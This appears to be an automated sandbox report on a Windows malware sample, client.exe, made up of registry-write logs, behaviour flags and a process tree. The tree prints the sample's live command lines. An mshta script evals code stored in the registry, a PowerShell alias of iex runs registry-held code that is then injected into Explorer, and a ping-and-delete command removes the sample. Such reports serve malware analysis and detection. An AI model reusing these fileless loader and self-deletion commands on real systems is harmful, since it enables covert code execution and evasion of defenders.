e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c61393236306233333434633734323231613536336138333934363661356663303066653062393563613065323365666438363133306338396263376634363931000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b079eef449b9753ee119d987257cd168face045a29211b9ef448bb64d5290c16b079eef449b9753ee119d987257cd168facd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\48908d5c-e3d9-46fc = c30a8d99f0f5d901 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bff55e29-9c56-47d6 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000a94de394f0f5d901a94de394f0f5d901a94de394f0f5d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004357025f2000323165613464363763303633633361626239656636306265636235323562666131653431323663343731623565613230333338633530343031303563623237640000b20009000400efbe4357025f4357025f2e0000000000000000000000000000000000000000000000000057140301320031006500610034006400360037006300300036003300630033006100620062003900650066003600300062006500630062003500320035006200660061003100650034003100320036006300340037003100620035006500610032003000330033003800630035003000340030003100300035006300620032003700640000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000000e26c3ae1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c32316561346436376330363363336162623965663630626563623532356266613165343132366334373162356561323033333863353034303130356362323764000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b078cef449b9753ee119d987257cd168face045a29211b9ef448bb64d5290c16b078cef449b9753ee119d987257cd168facd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1d7b2bd8-1222-4279 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000003cc2f894f0f5d9013cc2f894f0f5d9013cc2f894f0f5d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004357025f2000366231383366613064643665376332356663613135306631626263353738613537393337336132643365393764623433633761326430663666643265666538300000b20009000400efbe4357025f4357025f2e00000000000000000000000000000000000000000000000000c49fed00360062003100380033006600610030006400640036006500370063003200350066006300610031003500300066003100620062006300350037003800610035003700390033003700330061003200640033006500390037006400620034003300630037006100320064003000660036006600640032006500660065003800300000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000000e26c3ae1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c36623138336661306464366537633235666361313530663162626335373861353739333733613264336539376462343363376132643066366664326566653830000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b078eef449b9753ee119d987257cd168face045a29211b9ef448bb64d5290c16b078eef449b9753ee119d987257cd168facd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\48908d5c-e3d9-46fc = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\bead8187a4224b432edfbde785bd3e33e06c60d02b42e7b4f488846dc90159db" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\46dab38e-0d6e-4f51 = 6b0b0995f0f5d901 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\20c606fb-a856-4d63 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\84ab77c6-b50a-4bdb = b17b2897f0f5d901 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd168529-a866-43aa RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bff55e29-9c56-47d6 = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\21ea4d67c063c3abb9ef60becb525bfa1e4126c471b5ea20338c5040105cb27d" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d063238a-97d0-4546 = "8324" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ed8bd6b2-e6b6-42b4 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\587219fb-9495-4768 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b81ea84f-38d6-4b79 = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\73e27b45-57c6-44a8 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5539d3b1-364e-42f8 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5539d3b1-364e-42f8 = 4df48299f0f5d901 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\48908d5c-e3d9-46fc = "8324" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b173d92b-2b3e-4a2b RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\87cd4821-8385-4953 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ab2f04ad-dd94-4f6b RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\84ab77c6-b50a-4bdb RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\22aba214-2488-4aa0 = ae393e98f0f5d901 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\73e27b45-57c6-44a8 = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\a9260b3344c74221a563a839466a5fc00fe0b95ca0e23efd86130c89bc7f4691" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5539d3b1-364e-42f8 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5539d3b1-364e-42f8 = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\45a9632dbc3a236e4a5c48a1aa990ebf99f8a64a079fda5ee4b189029404a0b6" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\457e26db-e0b5-425b = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd168529-a866-43aa = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\44e8a37cf7fd3bb468c0e0899eda61e0d4d3f2a34955c66efa2fd81b02c59cdd" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b173d92b-2b3e-4a2b = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b81ea84f-38d6-4b79 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cd168529-a866-43aa = "0" RuntimeBroker.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
PING.EXEpid process 1216 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
client.exepowershell.exeExplorer.EXEpid process 548 client.exe 548 client.exe 3332 powershell.exe 3332 powershell.exe 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 3200 Explorer.EXE -
Suspicious behavior: MapViewOfSection 8 IoCs
Processes:
powershell.exeExplorer.EXEcmd.exepid process 3332 powershell.exe 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 3200 Explorer.EXE 1548 cmd.exe -
Suspicious use of AdjustPrivilegeToken 12 IoCs
Processes:
powershell.exeExplorer.EXERuntimeBroker.exedescription pid process Token: SeDebugPrivilege 3332 powershell.exe Token: SeShutdownPrivilege 3200 Explorer.EXE Token: SeCreatePagefilePrivilege 3200 Explorer.EXE Token: SeShutdownPrivilege 3200 Explorer.EXE Token: SeCreatePagefilePrivilege 3200 Explorer.EXE Token: SeShutdownPrivilege 3200 Explorer.EXE Token: SeCreatePagefilePrivilege 3200 Explorer.EXE Token: SeShutdownPrivilege 3764 RuntimeBroker.exe Token: SeShutdownPrivilege 3764 RuntimeBroker.exe Token: SeShutdownPrivilege 3764 RuntimeBroker.exe Token: SeShutdownPrivilege 3200 Explorer.EXE Token: SeCreatePagefilePrivilege 3200 Explorer.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Explorer.EXEpid process 3200 Explorer.EXE -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
Explorer.EXEpid process 3200 Explorer.EXE -
Suspicious use of WriteProcessMemory 46 IoCs
Processes:
mshta.exepowershell.execsc.execsc.exeExplorer.EXEcmd.exedescription pid process target process PID 4540 wrote to memory of 3332 4540 mshta.exe powershell.exe PID 4540 wrote to memory of 3332 4540 mshta.exe powershell.exe PID 3332 wrote to memory of 3696 3332 powershell.exe csc.exe PID 3332 wrote to memory of 3696 3332 powershell.exe csc.exe PID 3696 wrote to memory of 640 3696 csc.exe cvtres.exe PID 3696 wrote to memory of 640 3696 csc.exe cvtres.exe PID 3332 wrote to memory of 4136 3332 powershell.exe csc.exe PID 3332 wrote to memory of 4136 3332 powershell.exe csc.exe PID 4136 wrote to memory of 4752 4136 csc.exe cvtres.exe PID 4136 wrote to memory of 4752 4136 csc.exe cvtres.exe PID 3332 wrote to memory of 3200 3332 powershell.exe Explorer.EXE PID 3332 wrote to memory of 3200 3332 powershell.exe Explorer.EXE PID 3332 wrote to memory of 3200 3332 powershell.exe Explorer.EXE PID 3332 wrote to memory of 3200 3332 powershell.exe Explorer.EXE PID 3200 wrote to memory of 3764 3200 Explorer.EXE RuntimeBroker.exe PID 3200 wrote to memory of 3764 3200 Explorer.EXE RuntimeBroker.exe PID 3200 wrote to memory of 3764 3200 Explorer.EXE RuntimeBroker.exe PID 3200 wrote to memory of 3764 3200 Explorer.EXE RuntimeBroker.exe PID 3200 wrote to memory of 3404 3200 Explorer.EXE RuntimeBroker.exe PID 3200 wrote to memory of 3404 3200 Explorer.EXE RuntimeBroker.exe PID 3200 wrote to memory of 3404 3200 Explorer.EXE RuntimeBroker.exe PID 3200 wrote to memory of 3404 3200 Explorer.EXE RuntimeBroker.exe PID 3200 wrote to memory of 5092 3200 Explorer.EXE RuntimeBroker.exe PID 3200 wrote to memory of 5092 3200 Explorer.EXE RuntimeBroker.exe PID 3200 wrote to memory of 5092 3200 Explorer.EXE RuntimeBroker.exe PID 3200 wrote to memory of 5092 3200 Explorer.EXE RuntimeBroker.exe PID 3200 wrote to memory of 4384 3200 Explorer.EXE RuntimeBroker.exe PID 3200 wrote to memory of 4384 3200 Explorer.EXE RuntimeBroker.exe PID 3200 wrote to memory of 4384 3200 Explorer.EXE RuntimeBroker.exe PID 3200 wrote to memory of 4384 3200 Explorer.EXE RuntimeBroker.exe PID 3200 wrote to memory of 1548 3200 Explorer.EXE cmd.exe PID 3200 wrote to memory of 1548 3200 Explorer.EXE cmd.exe PID 3200 wrote to memory of 1548 3200 Explorer.EXE cmd.exe PID 3200 wrote to memory of 1548 3200 Explorer.EXE cmd.exe PID 3200 wrote to memory of 1548 3200 Explorer.EXE cmd.exe PID 3200 wrote to memory of 3208 3200 Explorer.EXE cmd.exe PID 3200 wrote to memory of 3208 3200 Explorer.EXE cmd.exe PID 3200 wrote to memory of 3208 3200 Explorer.EXE cmd.exe PID 3200 wrote to memory of 3208 3200 Explorer.EXE cmd.exe PID 1548 wrote to memory of 1216 1548 cmd.exe PING.EXE PID 1548 wrote to memory of 1216 1548 cmd.exe PING.EXE PID 1548 wrote to memory of 1216 1548 cmd.exe PING.EXE PID 3200 wrote to memory of 3208 3200 Explorer.EXE cmd.exe PID 3200 wrote to memory of 3208 3200 Explorer.EXE cmd.exe PID 1548 wrote to memory of 1216 1548 cmd.exe PING.EXE PID 1548 wrote to memory of 1216 1548 cmd.exe PING.EXE
Processes
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:5092
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3404
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3764
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3200 -
C:\Users\Admin\AppData\Local\Temp\client.exe"C:\Users\Admin\AppData\Local\Temp\client.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
PID:548 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 548 -s 2923⤵
- Program crash
PID:456 -
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>Falq='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Falq).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\D75FCFBE-4A7B-21B2-0CFB-1EE5005F32E9\\\MemoryLocal'));if(!window.flag)close()</script>"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4540 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name vilcjlnohf -value gp; new-alias -name auncmgxgb -value iex; auncmgxgb ([System.Text.Encoding]::ASCII.GetString((vilcjlnohf "HKCU:Software\AppDataLow\Software\Microsoft\D75FCFBE-4A7B-21B2-0CFB-1EE5005F32E9").ProcessActive))3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3332 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\m0hsjg03\m0hsjg03.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:3696 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4D9E.tmp" "c:\Users\Admin\AppData\Local\Temp\m0hsjg03\CSC718288AFCDDE42DCBE76DF80F94BB7F9.TMP"5⤵PID:640
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j5sb1vmt\j5sb1vmt.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:4136 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4EC7.tmp" "c:\Users\Admin\AppData\Local\Temp\j5sb1vmt\CSCB300F073BB3B4A3EB7D45A53F930354D.TMP"5⤵PID:4752
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\client.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1548 -
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1216 -
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵PID:3208
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
PID:4384
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 548 -ip 5481⤵PID:1928
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
